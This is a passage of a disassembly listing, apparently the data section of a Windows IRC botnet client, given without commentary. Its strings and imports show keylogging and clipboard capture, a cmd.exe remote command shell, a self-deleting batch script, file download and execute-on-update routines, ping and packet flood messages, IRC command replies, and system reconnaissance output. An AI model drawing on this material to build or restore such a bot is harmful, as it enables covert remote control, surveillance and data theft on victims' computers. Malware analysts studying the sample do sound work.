		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_40981F+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_40981F+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_40981F+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_40981F+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_40981F:loc_409B58o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40981F+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40981F+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40981F+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40981F+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40981F+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40981F:loc_409A7Eo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40981F+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40981F+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40981F+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40981F+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40981F+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40981F+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40981F+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40981F+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40981F+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40981F:loc_409954o
					; sub_42105F+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40981F+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40981F+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40981F+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40981F+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40981F+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40981F+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40981F+Ao
		align 4
unk_42D764	db    2			; DATA XREF: sub_40A4AC+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o
		align 10h
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40AAFA+5o
					; sub_415C5E+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40AB7C+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AC42+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40AC42+48o
		align 4
unk_42D9A8	db    2			; DATA XREF: sub_40AE02:loc_40AEC1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42D9E8	db    2			; DATA XREF: sub_40AE02:loc_40AE8Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42DA28	db    2			; DATA XREF: sub_40AE02:loc_40AE5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42DA5C	db    2			; DATA XREF: sub_40AE02+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42DA9C	db    2			; DATA XREF: sub_40AF86+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42DAD8	db    2			; DATA XREF: sub_40AF86+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42DB10	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42DB4C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o
dword_42DB94	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B549o
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42DBD4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42DC0C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B4FDo
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42DC4C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42DC90	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40B56C+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40B721+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40B8D8+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40B8D8+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co
		align 10h
word_42DDD0	dw 3Fh			; DATA XREF: sub_40B8D8:loc_40B9DAr
					; sub_40D099+1Fo
		align 4
dword_42DDD4	dd 28207325h, 297325h	; DATA XREF: sub_40B8D8+EBo
dword_42DDDC	dd 3F3F3Fh		; DATA XREF: sub_40B8D8:loc_40B99Bo
					; ___:loc_415C0Fo
a2003		db '2003',0             ; DATA XREF: sub_40B8D8+BAo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B8D8+AAo
					; ___:00415BFAo
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40B8D8+98o
					; ___:00415BEAo
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_40B8D8+7Eo
					; ___:00415BD1o
		align 4
a98		db '98',0               ; DATA XREF: sub_40B8D8+6Co
					; ___:00415BC1o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B8D8+5Ao
					; ___:00415BB1o
		align 4
a95		db '95',0               ; DATA XREF: sub_40B8D8+46o
					; ___:00415BA3o
		align 10h
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40BB8C+A4o
		align 10h
off_42DE40	dd offset loc_412F4E	; DATA XREF: sub_40BB8C:loc_40BBF8o
off_42DE44	dd offset dword_4E414C	; DATA XREF: sub_40BB8C:loc_40BBEEo
dword_42DE48	dd 6C616944h, 70752Dh	; DATA XREF: sub_40BB8C+5Bo
dword_42DE50	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40BB8C+48o
unk_42DE60	db    2			; DATA XREF: sub_40BC4B:loc_40BE04o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42DEA0	db    2			; DATA XREF: sub_40BC4B:loc_40BDFDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42DEDC	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_42DF08	db    2			; DATA XREF: sub_40BC4B:loc_40BDDEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42DF54	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_42DF80	dd 2A2F2Ah		; DATA XREF: sub_40BC4B+3Bo
dword_42DF84	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40BEF5+35o
dword_42DF90	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o
		align 4
dword_42DFC4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40C00D+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
dword_42DFEC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_42E018	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
dword_42E038	dd 80000002h, 42F6D0h, 80000002h, 42F700h, 80000001h, 42F738h
					; DATA XREF: sub_40C1AE+7o
dword_42E050	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C1AE+63o
					; sub_40C351+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42E094	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42E0D4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+47o
					; sub_40C512+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42E108	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+362o
					; sub_40C8B4+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_42E130	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42E180	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42E1B4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_42E1DC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C512+16Ao
		dd 169h
dword_42E1F4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42E224	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42E258	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42E28C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+1D1o
		dd 2BBBB02h
aTransferComp_1	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
dword_42E2E0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42E310	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40C8B4+97o
dword_42E350	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42E390	db    2			; DATA XREF: sub_40CAF1+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42E3CC	db    2			; DATA XREF: sub_40CAF1+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42E414	db    2			; DATA XREF: sub_40CAF1+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42E464	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40CAF1+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40CAF1+336o
					; sub_40EE72+2B48o ...
		align 4
unk_42E498	db    2			; DATA XREF: sub_40CAF1+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
unk_42E4E0	db    2			; DATA XREF: sub_40CAF1+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42E518	db    2			; DATA XREF: sub_40CAF1+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42E55C	db    2			; DATA XREF: sub_40CAF1+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42E59C	db    2			; DATA XREF: sub_40CAF1+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42E5E4	db    2			; DATA XREF: sub_40CAF1+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40D099:loc_40D0DCo
					; sub_40DF4E+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk		db 'Disk',0             ; DATA XREF: sub_40D099:loc_40D0D0o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40D099:loc_40D0C4o
		align 4
off_42E644	dd offset word_4D4152	; DATA XREF: sub_40D099:loc_40D0BEo
aFailed		db 'failed',0           ; DATA XREF: sub_40D12A:loc_40D208o
					; sub_40D24E+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40D12A+6Co
		align 4
unk_42E658	db    2			; DATA XREF: sub_40D24E+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_42E6A4	db    2			; DATA XREF: sub_40D24E+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
off_42E6F0	dd offset byte_5C3A41	; DATA XREF: sub_40D320:loc_40D365o
dword_42E6F4	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42E740	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D4C5+E3o
; ---------------------------------------------------------------------------


loc_42E75C:				; DATA XREF: sub_40D4C5+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42E770	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D4C5+13Fo
dword_42E784	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_40D679+5Do
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D679+16o
					; sub_40EE72+623o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D679+Fo
					; sub_40EE72+62Fo
		align 10h
off_42E7A0	dd offset aAdd		; DATA XREF: sub_40D719+60r
					; sub_40DAF0+51r ...
					; "Add"
off_42E7A4	dd offset aAdded	; DATA XREF: sub_40D719+2Dr
					; sub_40DAF0+83r ...
					; "Added"
dword_42E7A8	dd 0			; DATA XREF: sub_40D719+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42E814h, 42E80Ch,	2, 42E800h, 42E7F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0042E7D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:0042E7D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:0042E7C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:0042E7C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0042E7BCo
		align 4
aList_0		db 'List',0             ; DATA XREF: ___:0042E7B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:0042E7B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0042E7ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_42E7A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_42E7A0o
dword_42E868	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
